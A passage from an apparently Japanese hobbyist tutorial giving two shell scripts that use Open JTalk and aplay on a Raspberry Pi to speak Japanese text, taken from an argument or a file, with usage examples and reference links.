`/var/lib/mecab/dic/open-jtalk/naist-jdic/`


#■引数に日本語を指定して音声出力するシェル

```sh:JtalkFromArg.sh 
root@raspberrypi:/usr/jtalk# cat ./JtalkFromArg.sh 
#!/bin/sh

### Making WAV File from Command Line Argument
###  and speaking with aplay command

#TempWAVFile
TMP=/tmp/jtalkTmp.wav

if [ $# -ne 1 ]; then
echo "Error: argument not exist"
exit 1
fi

echo "$1" | open_jtalk \
-m /usr/share/hts-voice/nitech-jp-atr503-m001/nitech_jp_atr503_m001.htsvoice \
-x /var/lib/mecab/dic/open-jtalk/naist-jdic/ \
-ow  $TMP \

chmod 777 $TMP
aplay --quiet $TMP

exit 0
#EOF
```


・使うとき

```
root@raspberrypi:/usr/jtalk# ./JtalkFromArg.sh テスト用音声を出力します
root@raspberrypi:/usr/jtalk# 
```


#■引数にファイルを指定して音声出力するシェル

```sh:JtalkFromFile.sh 
root@raspberrypi:/usr/jtalk# cat ./JtalkFromFile.sh 
#!/bin/sh

### Making WAV File from File
###  and speaking with aplay command

#TempWAVFile
TMP=/tmp/jtalkTmp.wav

if [ ! -e $1 ]; then
echo "Error: file not exist"
exit 1
fi

open_jtalk \
-m /usr/share/hts-voice/nitech-jp-atr503-m001/nitech_jp_atr503_m001.htsvoice \
-x /var/lib/mecab/dic/open-jtalk/naist-jdic/ \
-ow  $TMP \
$1

chmod 777 $TMP
aplay --quiet $TMP

exit 0
#EOF
```

・使うとき

```
root@raspberrypi:/usr/jtalk# cat ./testvoice01.txt  
テスト用音声ファイルです。
root@raspberrypi:/usr/jtalk# ./JtalkFromFile.sh ./testvoice01.txt 
root@raspberrypi:/usr/jtalk# 
```


#■出典/参考
Open JTalk
http://open-jtalk.sourceforge.net/

Raspberry Piでテキストを音声化する (Open JTalk)
http://www.taneyats.com/entry/raspi-open-jtalk

Ras Pi 3 スピーカーから音を鳴らす！そしてOpen JTalkで日本語を喋らせる！
https://iot-plus.net/make/raspi/speaker-open-jtalk-japanese-speech/

Raspberry Pi3に日本語で喋ってもらうまで
https://qiita.com/Higemal/items/6dde8637a680bfe200ca